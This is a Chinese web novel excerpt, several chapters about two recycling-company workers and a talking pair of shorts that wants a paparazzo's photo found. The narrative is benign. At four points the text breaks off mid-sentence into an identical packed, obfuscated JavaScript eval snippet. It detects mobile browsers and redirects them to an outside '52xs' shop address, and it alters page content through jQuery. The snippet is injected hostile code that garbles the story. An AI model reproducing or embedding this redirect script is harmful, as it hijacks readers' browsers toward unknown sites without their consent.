金隅和裤衩的对话仍在继续,不过声音越来越低,两人像是在密谋什么,解之说自欺式忘记刚才最真实的想法,小心扯下留在头上已久的白色纱布。 “表白?!” 突如其来的一声冲向云霄,解之说刚拿下纱布还没捂热,与金隅对上视线。 对方惊恐微颤的灰瞳深深印进脑中。 “怎么了?” “请,你向她表白。” 代替金隅回答的,是可以清楚说出话的裤衩。 也许在未来才会发生的事情,莫名其妙地提前了。 解之说表面沉着冷静还不忘拿出剪刀,实际心里怀疑人生、无能狂怒。 “剪碎。” “别,”金隅夺过剪刀,“听它的吧,这件事很快就能完成。” “剪碎。” 解之说的语气里带些愠怒。 金隅不懂他为什么不答应裤衩的心愿,渐渐放缓了语速,“它很可怜的。” 在灯光下闪闪发亮的真诚之眼如纯净的天水,毫不费力浇灭解之说的怒火。 “好吧,”他补充道:“不过我没有和别人表白过。” “没关系。”金隅喜形于色,一言不合抓起裤衩的两条腿,为它留个最佳吃瓜位。 …… 短暂的沉默后,解之说别扭开口: “我喜欢你。” ! “Oh↑My↗God↘!” 裤衩激动跳起,发音器官尽己所能履行职责四处狂叫,没抓住裤衩的金隅任它乱跑。 专属于金隅和解之说的沉寂挡住外在一切的喧嚣,直到裤衩害羞到躲进收纳盒,金隅回过神来,笑语盈盈:“谢谢你。” 解之说按捺不住的心脏怦怦直跳,勉强回道:“不用谢。” 天色已不早,金隅转身寻找连带收纳盒一起躲起来的裤衩,发现它缩在角落,没了刚才的生机。 “你怎么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335095|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金隅小心翼翼地捧起软软的裤衩,正觉得手感有些奇怪,被解之说一把夺过。 “怎么了?” 金隅不解,拽住解之说的工作服。 解之说摸摸口袋,护身符在身上,便放心舒了口气,“它很危险。” “为什么?不是帮它完成心愿了吗?” 被捏得发紧的裤衩试图挣脱,可惜无济于事。 “它不会疯了吧?” 成功表白后裤衩过于激动,面对现在的处境,金隅想到的只有方才的场景使它短路了,毕竟是件成了精的衣服,她找不到其他原因。 “你们,可以,帮我找到主人拍的照片吗?” 无法挣脱的裤衩终于想起自己最重要的心愿:找到一张主人拍的照片。 它向金隅和解之说解释:“我记性不好,以为表白是我的心愿,刚刚才想起来那不是我的心愿,找照片才是。” 意料之外的回答。 金隅不怕困难,依旧心平气和。反倒是解之说听到裤衩的解释,二话不说拿起收纳盒将裤衩往盒里塞。 “不要啊!” “解之说。”金隅眼疾手快,握住他的手腕,温柔地叫着他的名字。 明明是夏天,可一阵冰凉的触感从手臂一路蔓延至颈肩。解之说心头一震,放下了收纳盒。 金隅伸出手,示意他放开裤衩。解之说听话照做。 裤衩想起了很多事,它爬上金隅的肩头,娓娓道来。 “我的主人是一名狗仔,工作就是拍拍娱乐明星的日常照片。” “他最后一次穿我,是在、是在一个夏天,他拍了一对明星情侣的亲密照。他被发现了,给钱也不交出照片,后来他失业了。” “失业后他搬家了,卖了很多生活用品,其中包括我。” “我不知道他穿了我多少次,当我拥有意识时,我在某个人的手里。” “那个人是谁?” 金隅问。 “是你。”裤衩戳了戳金隅的肩膀,“有意识后,我想到的就是要找到那张照片,不知为何又给忘了,直到刚刚才想起。” “这样啊,”金隅若有所思,随即下定决心,“那我们就帮你找到照片吧。” “喂,”解之说投来不解的眼神,金隅与他视线交汇。 “不帮它完成心愿的话,以它的攻击力我们都得完蛋,”金隅拍拍他的肩膀,“小家伙好歹有感情,我们就帮帮它吧。” “剪碎”的话还是咽下去了,解之说执拗转过头,不再看她。 “今晚我就带它回家了。” “什么?” 解之说不可置信,又问了一遍,“你确定?” “确定,”金隅轻轻握着裤衩的腿儿,“怎么样?” “好极了。”裤衩咳咳笑着。 “它……” 解之说看看得势的裤衩,又看看满怀笑容的金隅,左右为难后闭上了嘴。 “我们回去啦,明天见。” 金隅走到玻璃门前,手还没碰上门把,就有人从外面推开了。 “金隅,解之说?”孟星吾冒出半个身体,问:“你们这是要回去了?” 金隅趁孟星吾没注意到,连忙赶裤衩躲进工作服里。 “恩恩,我们要回去了。”她重重地点了点头,悄悄将裤衩露出的一角塞回去。一旁的解之说为她打掩护,“队长,昨天丢失的推车已经登记在册了。” 孟星吾比了个OK的手势,“你们快回去休息吧。” “好嘞。” 金隅咧着嘴开门,与孟星吾擦肩而过。 “等等,金隅,”孟星吾转过身,“你工作服里塞着什么?” 5. 亲亲裤衩2 “什么都没有啊。” 金隅心虚地默默鼻尖,眼神闪烁。 孟星吾手快,走到她面前从半敞的领口揪出一动不动的裤衩。他没等金隅解释,反而对一边的解之说叮嘱:“你快回去吧,路上注意安全。” 解之说点了点头,在走前瞧了一眼金隅。 孟星吾拥着金隅进入办公区,先前还是整洁有序的平台经裤衩一搞,文件胡乱摆放着,地上除了收纳盒还有一两个文件夹。 “孟老师……” “叫我队长。” “队长……” 金隅怯怯看向比她高出不少的孟星吾,“我认为有更好的办法能够完整回收这件有情感的衣服。” “什么办法?” 孟星吾坐下,摆放好面前的文件堆,认真倾听金隅的想法。 没有动静的裤衩被他随意扔在桌上,和普通衣服没有区别。 “它有心愿需要完成,我们帮它完成后就可以直接回收不用剪碎或者挤压。” “你们和衣服对话了?” 此话一出,金隅目瞪口呆。 完了,手册上说不能与衣服对话! 不过她没有逃避找借口,直接点了点头,“对。” 孟星吾语气友好:“公司也就成立了三年,一些规章制度还不够成熟。从前我们对于有情感的衣服都是采取单一的销毁方法,你知道为什么它们会出声却还是被我们这样处置吗?” 金隅想了想,摇头。 “不知道。” “因为我们根本不知道那些衣服在说什么,我们不懂它们的想法。” “什么?” 金隅纳闷,这件裤衩说的话自己和解之说都能听懂啊,为什么队长说听不懂? “你让这裤衩说句话,”孟星吾明白金隅的不解,“之后你就能明白了。” “好。”金隅凑近裤衩点了点它,“你能说句话吗?” 似乎沉睡过去的裤衩一跃而起,在她面前跳来跳去。 “亲亲……亲亲……” 金隅看向孟星吾,“它说了。” 孟星吾笑着摇头,“它说了什么?” 金隅:“亲亲。” 孟星吾拎起裤衩,裤衩立刻失去了活力。 “我听不出它说了什么,对我来说,它像是持续发出吸铁石相碰的声音,声音很小,模糊不清。” “这样啊,”金隅皱起眉头,“唐泉老师也听不见吗?” “对,”孟星吾回顾过去,如今公司工作人员越来越多,年轻一代更有优势面对这些特殊的衣服。他将今天公司会议的一些内容告知于金隅,“国家研究院正在研究相关问题,他们发现了拥有情感的衣服里藏着某一种物质,可能与一颗陨石有关。” 金隅来了兴趣:“陨石?” “没错,陨石。”孟星吾展开裤衩,仔细摩挲,“这种物质形成了‘芯质’,使这些特殊的衣服产生了情感波动,可以与特定的人产生共鸣。而‘芯质’来源于陨石。” “据说宁泰市内存在一颗陨石,研究院也在调查。” 金隅向孟星吾汇报先前发生的事情:“这件裤衩答应如果我们帮它实现未完成的心愿就让我们回收,它的攻击力该说不说还挺强,我和解之说就同意了。” 孟星吾赞许地点点头,“有你们,我便放心了。” “那,先暂时不回收它啦?”金隅摸摸裤衩,裤衩回应她,轻轻摆了摆自己的裤腿。 “恩,不过你们注意安全。” “好嘞。” 孟星吾与金隅对这裤衩展开了交流,听到要找回照片,孟星吾不禁迟疑:“工作量会不会太大了些?” 金隅想想,好像也是。 世界这么大,说不定那张照片早被销毁了。 不过答应人家的事决不能食言,金隅是妥妥的乐天派,她笑呵呵的:“没关系,万一那张照片就在宁泰市呢。” “哈哈哈,”孟星吾被她的笑容感染,“时间不早了,要不要送你回去?” 金隅摆手,“不用不用。” 公寓离公司不远,十几分钟就能到,金隅叠好裤衩,放进口袋,“我走啦队长。” 在孟星吾的目送中离开公司,金隅回家洗完澡沾床就睡,醒来时接近中午。裤衩摆在书桌上一动未动,她打开手机,连续几条解之说的消息占据屏幕。 【8.323:07】 xzs:【你睡了吗?】 xzs:【关于今晚表白的事情,】 【xzs已撤回】 【xzs已撤回】 xzs:【晚安】 【8.48:01】 xzs:【早上好】 【10:11】 xzs:【我到公司了】 金隅翻了个身,没想好什么时候起身,打开通讯软件改了解之说的备注。 “1号解之说”。 分组:同事。 回了“好的”,她心满意足地下床洗漱,找到可以吃的食物,穿好工作服挂上工作牌,背上斜挎包,将没有动静的裤衩塞进去,五分钟后安全到达公司。 荀生雨依旧开朗,提醒金隅不要忘记打卡。 打完卡,金隅查看爱衣回收APP没有收到委托,便来到小办公室,解之说坐在最里面写东西。 “早上好。” “早上好。” 这次不再是平淡的语调,金隅兴趣盎然,解之说的嘴边勾起浅浅笑意。 “你在写什么?”金隅坐到解之说的旁边,视线落在他身前的白纸上。 “写报告。” “是关于这件裤衩的吗?” “不是,”解之说纠结了一秒要不要把自己第一天工作的糗事说出来,解释道:“第一次工作把推车弄丢了,需要写份报告。” “那……”金隅大脑快速转动,“没事吧?会不会有处罚?” 她依稀记得手册上所说,弄丢公司物品后果须自负。 “重新买个就好。” “幸好没有严重的后果,推车多少钱一个?” “两千。” “什么!” 裤衩被金隅吵醒了,发音器官呜呜低吼,身体动来动去。金隅感受到有什么东西在敲她的背,包一拉,拉链一开,裤衩伸出一条腿,“亲亲……亲亲……” “你的心愿不是找照片吗?昨天也表白过了,还要亲什么?” 金隅不解,投去疑惑的目光。 不知怎的,这件裤衩看上去有些可怜,金隅打算摸摸它。 “我还想听你们表白。” 她突然觉得这玩意儿不值得同情。 解之说:“给你剪了。” 裤衩:“不要啊——” …… 金隅和解之说没管裤衩的嚎叫,认真规划接下来的计划。 找一张照片就像在大海里找根针。金隅心里没底,和解之说商量的语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335096|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是虚虚的。 “先找之前的委托人?” “可以。” “再找裤衩的原主人?” “嗯。” “然后要照片?” 解之说点点头,竖起赞扬的大拇指。 “你的计划很好。” 金隅受到鼓舞,高兴地“耶”了一声。 裤衩探出另一只腿,声音弱弱的,“那什么,其实表白也可以比找照片更重要的。” 金隅:“你闭嘴。” 荀生雨推门而入,手里拿着把钥匙,“你们可以出发了,这是钥匙。” 金隅接过钥匙,说了声谢谢。 “注意安全哦~” “明白!” “嗯。” 简单告别后,金隅和解之说坐上车,系好安全带。 在荀生雨眼底下钻进包里,上车前没再冒泡的裤衩突然动起来,金隅拉开拉链,裤衩冒出两条皱巴巴的裤腿,朝她“咳咳”地笑。 习惯了怪异的声音,金隅回它一个无声的笑容,裤衩没见过如此赏心悦目的笑脸,害羞到做不出反应,歘的一下躲回了包里。 解之说注意着这一切,直到裤衩消失在眼前,他才不情不愿地启动汽车。 金隅微微侧头,解之说皱着眉头,生冷的眼睛没有人情味儿。她开口问:“你是不是不舒服?” 解之说刚开出去几米地,暗叹忘了表现出很平静的脸色。 都怪裤衩。 他恢复平常,笑眯眯地回答:“没有。” 勉强弯起的眼睛和不听使唤的眉毛在一张俊脸上摆出糟糕的表情,金隅不明所以,并且觉得他有点毛病。 跟着导航来到第一次回收衣服的地方,金隅叫起裤衩,带着它来到楼下。昨天被裤衩撞出鼻血的场面历历在目,她倒吸一口凉气,凑到站在树下的解之说身边,小声问:“你的脑袋还好吧?” 解之说正视前方,不惊不躁,“不好。” 丢下这句话,解之说自顾自上楼,金隅掐了一把躲在包里的裤衩跟上去,裤衩无动于衷并表示“可以再重一点”。 到了五楼,解之说按下门铃。 在来的路上金隅联系了委托人,好在委托人今天在家,很欢迎他们的到来。 “你好。” 身形高大的青年男子打开门,露出友好的一笑。 金隅认真打量他,男人约摸三十多岁,眼睛有神胡子拉碴。 “你好,”解之说礼貌回应,“我们是刚刚在爱衣回收APP联系您的工作人员。” “我知道我知道,你们快进来吧。” 男人不愿透露真实姓名,“我姓郑。” 他安排两人坐在客厅,问:“你们想知道那件阿罗裤的原主人?” 解之说点头,“对。” “那是我从忙鱼上买的,原价350,138就能拿下。卖家说只穿过两次。” “您是什么时候买的?”解之说问。 “七月份的时候吧。” “您现在还能联系到那位卖家吗?”金隅问。 郑先生看了她一眼,摇摇头,“我收到货第二天给他发过消息,他没回。” “我就买了一件短裤,没想到他竟送了同品牌的两件白色短袖,还是某明星的同款,所以我就留着了。” “短袖还在吗?” “在的,你们要看?” 解之说和金隅相互对视一眼,同频率点头。 6. 亲亲裤衩3 金隅和解之说跟着郑先生来到衣帽间,郑先生从最底下的衣柜里拿出两袋透明包装的衣服。 “我看吊牌没拆,应该是新的。” 他递过去,金隅和解之说一人拿上一件。 “我可以拿出来看看吗?”金隅没抱希望,没想到郑先生很大方。 “你们随意。” “谢谢。” 金隅小心地拆开包装,展开衣服。 印花“cK”出现在眼前,金隅感觉到包里的裤衩在轻微晃动,她腾出一只手摸摸包,开玩笑道:“说不定照片就在衣服里呢。” 下一秒,同样展开衣服的解之说眼睁睁看着一张小卡片从衣服里掉出来飘到地上。 金隅傻眼了,她眼尖,刚好卡片还是正面朝上。 小小的画面里,一个一身黑的男人站在戴着帽子的长发人面前,两人距离很近,脸上都挂着笑容。 不会吧? 金隅没来得及捡起照片,裤衩在包里乱撞,击中了她的腰。 “我去。” 一道极强的推力从腰部到脊背,金隅没有支撑的点,两只手扑腾了两下,身体往前方倾斜。 解之说眼疾手快,一把扶住了她,顺手将她的包拿下来。 郑先生以为她站着都站不稳,没忍住笑了一声,“我们去外面坐吧。” “好。” 解之说拿过金隅手里的衣服,一手搀扶着她,一手拿着包和两件衣服。 那只手还不忘暗暗用力捏着包,躲在里头的裤衩被拿捏住裤腿,只好忍气吞声。 郑先生虽然什么都不懂,但他什么都能表示理解。金隅和解之说刚坐下,他一脸神秘地凑近两人,“我知道你们在做什么。” “啊?” 金隅的眼中闪过惊愕,脑中飞过许许多多的借口。 “我知道的,”郑先生洋洋得意,手肘轻轻怼了一下解之说,“你们其实是侦探,对吧?” 此话一出,金隅看向郑先生的方位,刚好能看到他后面的卧室一角。 视线范围内,大大小小的海报贴满了墙壁,金隅了然,郑先生原来是个漫画迷。 解之说礼貌笑笑,纠正他错误的想法,“我们是专门回收旧衣服的工作人员。” 郑先生笑笑,“你们要的就是这个?”他指向金隅手里的照片。 “对,”金隅仔细端详照片,解之说腿上的包传来一阵骚动。 为了防止不必要的意外出现,解之说扯着嘴角,试图表现出极致的礼貌,“我们该走了,谢谢郑先生能配合我们。” 郑先生笑眯眯的,“好好好,两位小侦探真是辛苦了。” 金隅叠好两件短袖放回原处,与走到门口的解之说汇合,郑先生扶着门,眼睛弯成一条缝,“小侦探加油啊!” 金隅摆摆手,无可奈何地笑了一声。 随着关门声响起,她吐了口气,跟在解之说的后面。 快到一点,两人回到公司,好久没动静的裤衩在里面做着奇怪的动作试图扯开拉链,金隅怕它把包扯坏了,连忙拉开拉链。 “我们找到了一张照片,看看是不是你要的。” 裤衩没说话,金隅以为它找不到发音器官了。 “那什么,其实我没有眼睛,看不见。” 金隅:“……” 解之说:“……” 裤衩:“嘿嘿。” 解之说拿出剪刀,“剪碎。” 裤衩:“不要啊!” 金隅左手挡剪刀,右手提起裤衩,“你知道照片拍的什么吧?” 裤衩:“我知道,咳咳。” “好,”金隅拿下解之说手里的裤衩,示意他坐好,又从口袋拿出那张照片,不放过一处细节,向裤衩描述,“这张照片里有两人,疑似是一男一女。” 她看了一眼裤衩,继续道:“男的一只手拉着女人的手,女人戴着帽子,头发又长又弯……” “那就是了。” 裤衩发出讨好的声音,“谢谢你。” 前所未有的礼貌,金隅差点以为裤衩被照片夺舍了。 “不用谢的。” 裤衩咳咳了两声,“亲亲……” 金隅一听到这两个字头就大,试图搪塞过去:“没事了我就先回去了,”她的肚子咕咕直叫,“我好饿。” “要留下来吃午饭吗?” 不知是什么时候出现的,荀生雨如往常一般,抱着文件站在门口,对着金隅和解之说笑。 “可以吗?” 金隅饿得脑子发蒙,眼冒着金星就往荀生雨面前凑。 “当然可以,公司管饭的。” 解之说皱了皱鼻子,转身就走,“我回去了。” “什么?” “不要啊!” 金隅和裤衩同时出声,解之说回过头,视线落在金隅的鼻尖上。 “怎么了?” “不留下来一起吃饭吗?” “我要看你们表白。” 金隅和裤衩又是同时回答。 金隅的眉毛轻轻一拧,垂下眼眸,“你个小裤衩总是想着表白干什么?” 裤衩咳咳一声,可怜道:“或许看你们表白才是我最后、真正的——心愿。” 金隅的双手环抱于身前,态度强硬,“不行。” 裤衩动了动身体,正面朝解之说。解之说躲过不存在的视线,转过头不出声。 荀生雨不知道两人一裤衩之间发生了什么,好心提醒金隅,“之前剩下的衣服都帮你整理好了,明天你可以把它们送去洗衣店。一切流程结束后你的第一次工作就圆满完成啦~” “谢谢荀姐姐,我会好好完成洗衣任务的。” 荀生雨伸出手指,比了个“OK”的手势,推门离开。 赶着去吃饭的金隅站起身,裤衩开始“呜呜”的叫。 解之说推开门,一只脚刚踏出一步,心有灵犀般的,他与脸色担忧的金隅对上目光。 不就是表白吗,有什么难的? 他点点头,得到同意的金隅抑制不住笑容,伸出手指拉了一下裤衩,“今天天气不错,就满足你了。” 裤衩一惊,呆呆立在原地。过了好久它蹦起欢呼,“好耶——” 走在去吃饭的路上,裤衩叫唤着表白不下十次,解之说来了瘾,“我喜欢你”四个字说多了就换个别的说说,金隅不知道他哪来的话术,听得一愣一愣的。 好几次看着他亮闪闪的眼睛,金隅差点陷进去,好在肚子不争气总是打断她的思绪。 解之说从第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335097|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次见到金隅起,不知想过多少莫名其妙的情话,全留在脑子里做日后准备,今天为了裤衩说得一句不剩,跟着轻风飞走了。 从吃饭前到吃饭中,再到吃完饭后,裤衩和解之说来了劲,乱七八糟争先恐后地说话。金隅有些苦恼,一个人来到卫生间,打开搜索引擎:同事快疯了怎么办? 已经对表白毫不害怕心慌的解之说跟醉了酒似的,当金隅出现在眼前的第一反应就是: “我喜欢你,金隅。” 躺在办公桌上的裤衩听到这句话,动了动裤腿。 金隅的心一颤,两人在静谧中与柔情交织。 —— “啪嗒”一声,裤衩从桌上滑落,精准掉进收纳盒里。 “嗯?” 金隅和解之说同时回过头,桌下的裤衩没有爬起来。 孟星吾从门外推开门,两人齐齐转头。不知所以的孟星吾左右看了看,问:“怎么了?” “裤衩好像死了,”金隅走到裤衩前将其拎起,可是它一动不动,“怎么办?” “也许是它的心愿完成了,”孟星吾凑近,“情感波动也就此消失。” “真的吗?” “真的。”解之说回答。 在他的眼中,裤衩只是件普通的裤衩,周围没有奇怪的黑气,没有生机。 “明天休息,你们早点回去吧,今天辛苦了。” “好嘞。”金隅看着手中的裤衩,虽有不舍但还是将它叠得整整齐齐放进收纳盒,在盖上盒盖时,悄悄对它说了句“再见”。 解之说端走收纳盒,留下孟星吾和金隅。 “工作强度怎么样?会不会累?” 孟星吾和金隅走在公司外面的水泥路上,稀稀疏疏的绿化沿着长长的小路胡乱生长,几棵常青树稀稀散散,这边一棵那边一棵。 “还好,一点都不累。” “哈哈哈,”孟星吾笑着,揉了揉金隅的头。 “老师您是不教体育了?” 金隅问出压在心头已久的问题,高中毕业前还在学校教体育的老师一年后就跑来企业做回收衣服了? 孟星吾摇摇头,“当然教了。” “你打两份工啊?” 对于金隅的疑问,他再次摇头,“无偿的,算是志愿者吧。” “原来是这样。” 金隅若有所思地点点头,孟星吾被她逗笑了,看到她的工作服口袋里空无一物,顿时语气一转,“又没带护身符?” 金隅挠挠头,打着哈哈,“那什么,今天眼瞎,没想着带……” “以后工作期间都要戴好了,记住没?” “记住了记住了。”金隅听话点头,孟星吾陪她一起走到公司门口,“公司的未来还得靠你们。” 金隅不知哪来的勇气,自告奋勇地说道:“我们一定行!” 孟星吾开怀大笑,问:“要等解之说一起回去吗?” 金隅望向公司的一楼玻璃门,想到了什么,“啊,我还没有下班打卡。” “远程打卡也行。” “那就好。” “叮咚”一声,手机传来消息通知,金隅拿起一看,是解之说。 1号解之说:【周一见。】 1007:【好!(^_-)】 7. 幺久二洗衣店 洗衣店很大。 金隅端着两个收纳盒站在门口,左看看右看看,踌躇不前。 解之说停好车看到她一动不动的后脑勺,小跑上前问:“怎么不进去?” 金隅结结巴巴的,“我,我有点害怕……”她身前绿色的工作牌轻微晃动,口袋里的护身符一角随着身体的小幅度晃动而折射着白光。 解之说一边安慰她,一边拿过收纳盒往门里走。 “我会保护你的,不用怕。” “谢谢。”金隅带着哭腔跟在解之说后头。 “幺久二”三个大字举在头顶,她感到无形的压力。再一看,三个透明大门立在眼前,门里是大大小小颜色各异的衣服,还有,站在门内对着她微笑的人。 “好大的洗衣店,”金隅没见过如此之大的门店,对着解之说讲悄悄话。解之说只是一笑,随后利索推开门,客客气气地对门内的人问好,“店长早上好。” 那人点点头,扶住被推开的门,视线很快投到金隅的脸上,金隅吓得一哆嗦,支支吾吾地跟了一句,“店长早上好。” 她低着头穿过透明推拉门,死死走在解之说的后面,看到解之说伸手开水洗机的门,不禁叫住了他,“这活是我来做,你快回去吧。” 金隅想起今天的任务,自己负责洗衣服,解之说需要整理工作工具。 解之说不以为意,“没关系,我们可以先洗完衣服,再回去整理。” 金隅想了想,好像也是。 她走过去和解之说分好衣服,衣服不多,两人打开两台水洗机,小手一来劲全往里送。 “哎哎哎,等一下啊你们,”店长从前台直起腰,手里还拿着两张颜色不一样的纸,“先填好这个表,洗衣服是我店员的活儿。” 她招呼两人过来,摆上两支笔。 “公司,姓名,职位,电话号码,一个不许少。” 金隅和解之说乖乖拿起笔,认真填上信息。合上笔盖时,金隅悄悄抬头往上看了一眼,店长身前贴着金属铭牌。 “游笙,店长。” 好美丽的名字。 金隅在心里感叹,一双眼又往上移了移。 白色衬衫一尘不染,领口半开,颈间的蓝色蝴蝶吊坠随着呼吸轻微起伏。 游笙斜着头仔细检查表格是否有错,金隅注意到她耳边黑色的双G耳钉在阳光的照射下与垂下的短发呼应,几缕白金色清晰可见。 “我有这么好看?” 游笙的视线随意一落,落到了金隅的脸上。金隅连忙后退,慌张摆手,“没有没有。” “没有?” 游笙凑近,如琥珀般的眼睛直直盯住面露迟疑的金隅,重复问:“没有?” “啊……”金隅忍住不看一张一合的黑巧薄唇,渐渐低下头去,“好看。” “哈哈哈,”游笙忽的直起腰笑出声。金隅头顶的黑影散去,她弱弱抬起头,随着游笙的视线移动身体。直到解之说的一条胳膊挡住去路,她才停下脚步,打消和这位看上去像地下吉他手的女人离开前台的冲动。 “对不起。” 金隅抬头,小心地与解之说对视。 解之说皱了皱眉,转过头去。 她从细微的动作中看不出什么情绪,乐呵呵地跟着游笙走到洗衣间。 “店长好。” 店员从水洗机后面冒出来个身子,看到游笙旁边站着个面生的女孩,不可思议地睁大了眼,“新来的?” 游笙的嘴角勾起一抹笑意,忽略四处游走的解之说,一把揽过金隅,“回收公司的,金隅。” 金隅没来得及看清小店员的面貌,在游笙的介绍后礼貌回应:“你好。” 小店员笑笑,手里的活不停。 “洗衣服交给我们就好,你们可以回去了,”游笙带着金隅走回前台,“下午来拿衣服。” “不行,”金隅后退半步,“孟老师……队长他说我必须在这里等衣服洗完。” 诚恳的一双眼忽明忽亮,游笙短暂地思考过后,对着金隅身后的解之说抛去一个眼神,问:“那你可以回去吧?” “啊,我吗?” 解之说站得笔直,脸上飘过一丝疑惑。 金隅偏过头,看着他近在咫尺的脸,悄悄往旁边挪了一点。 “你不是有别的事忙吗?我在这里就行。” 解之说不置可否,从口袋拿出车钥匙,却迟迟不动身。 游笙看出他在犹豫什么,拉着金隅的肩膀,亲昵地凑上去,“你快回去忙你的吧。” 解之说在争取留下来的机会和站着原地不动拖延时间之间选择了窝囊地离开,走前回望与游笙笑脸相待的金隅,不甘心也不放心。 听到汽车鸣笛声响起,金隅在游笙热情款待下喝茶吃甜点,只匆匆往外面看了一眼,也不知有没有看见。 “你们爱衣回收可真相亲相爱呢,”游笙端来一碗面,问金隅:“来点?” 金隅摆摆手,哼哼笑了两声,“不用啦,我吃过了。” “好吧。”游笙关上休息室的门,往靠墙的软沙发一坐,翘着二郎腿优雅吸面。 金隅透过玻璃门看向远处,郁郁葱葱的绿树整齐排开,不断延伸。 她想起了那只裤衩,永远都不再说话、只是普通的裤衩。 郁闷地打开手机无从下手,也不知道做什么来打发时间什么,金隅突然想起那张被收在抽屉里的照片。 照片上的人脸仍在眼前,不过金隅不关注演员歌手什么的,她想起裤衩之前说过自己的主人被发现这张照片后并没有交出去。 裤衩主人失业和这张照片有关系吗? 带着疑问,金隅搜索一个网页论坛,点击娱乐明星一栏。 论坛上都是一些无关紧要的资讯和真假莫辨的八卦,金隅一番搜寻无果,返回界面时注意到下方有个闲聊的分类。 抱着试一试的心态,她点进去按月份搜索帖子,在一个“身为狗仔的我与前任明星的两三事”的标题上停下了手上的动作,随后点了进去。 “失业了闲来无事,来论坛聊聊我和某明星的故事吧。 我和Z姓演员在高中时相识并且互有好感,上大学期间她在网上发视频火了,进了一家MCN机构,我毕业后选择了摄影相关行业。 三年前Z进入影视业,与我在一次聚会上重逢。我们互相加了好友,两个月后正式交往。我也靠人脉开始了影视剧摄影的工作,后来与她进了同一剧组,经常偷偷约会。我们没遇到什么感情上的阻碍,她很忙,工作一个接着一个,时常两人相处异地,不过有时间我都会去看她。 和她交往期间,我很幸福,体会到拥有家人的感觉。我真的很幸福。 直到一年前的今天,我们分手了。 原因很简单,她有她的事业要发展,而我,因病辞职无处可去。我不想拖累她,在我意识到她有无限前途时,我选择了放手。 不过实不相瞒,在我独居异地的某一天看到她的广告牌,第一反应不是她的笑容依旧亮眼,而是,我好嫉妒她。 凭什么她事业大红万人仰慕? 凭什么我流落至此无所依托? 我恨她。 后期我的病有所好转,在朋友的帮助下做起了狗仔。 拍拍丑照发发八卦,我掌握了一些人的命运,手里有了点钱,不过我的地位不高,时常被忽视。 与Z久别重逢是在半夜,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金隅眉眼弯弯,游笙被她的笑容感染了,也笑出了声。 “叮咚”一声,门口的风铃响了,荡起阵阵涟漪。 见到来者何人后,游笙脸上的笑容凝固,反倒是金隅笑得更甚。 “队长好!” “切,你来干什么?” 风尘仆仆的孟星吾推开门,得意道:“我来接我的员工回去。” 游笙翻了个白眼。 谁还没个员工了? 二十分钟后,将裤衩单独放进收纳箱的金隅跟着孟星吾坐上车,系好安全带。 “告诉你一个好消息。” 孟星吾扯过身边的安全带,启动汽车。 “什么好消息?” 孟星吾没有直接告诉她,“到公司你就知道了。” 金隅只好听话跟孟星吾走,不过她能从队长的语气中听出来是件好事。 只要不是什么难搞的事情就行,金隅心想着,头低下去,手里的裤衩在小小的收纳盒里一动不动。 “这裤衩要怎么安排?” 和其他回收来的普通衣服不一样,这件裤衩都没机会进水洗机就被捞出来,金隅不知道接下来对裤衩的处置。 孟星吾将昨天与公司管理层的讨论结果告诉她,“基于这件衣服先前的不可控制性,我们打算以后将存在过情感波动的衣服单独收集起来,存放在密码箱中,不流入市场。” 金隅望向窗外,点点头,“这样也挺好。” 8. 素未谋面的队员 金隅被带到四人面前时,脑子还是懵的。她什么都没做好准备,支支吾吾一句话说不出来,在孟星吾与他们交谈时,她才缓过神,好奇地看着大家。 几簇人影重重叠叠,一致的绿色排铺开来。刚收拾好工作器材就被叫到办公室的解之说推开门,眼前一亮又一亮,在退后关上门时瞥见了被埋没的金隅,又推开门,与她在无人在意的缝隙中对上视线。 早上太阳正好,大面积的阳光从半开的窗外泄入方方正正的办公室,为光滑的大理石地面铺上薄金。 孟星吾轻咳一声,注意到门下的解之说,穿过人影站在他的身边,乐呵呵地开口:“人都来齐了,金隅,解之说,这几位是第十一号专门回收小队的成员,也就是你们的同事。” “哗”的一下,人影四下散去,四位穿着绿色工作服,挂着绿色工作牌,身前塞着护身符的成年人井然有序地推开椅子坐下,金隅在孟星吾的手势下和解之说站在一起,接受眼下猛烈不加收敛的狂热打量。 金隅抵挡不住这无声的举动,她缓缓低下头,放在背后的双手死死扣住,像个认错的小孩子。 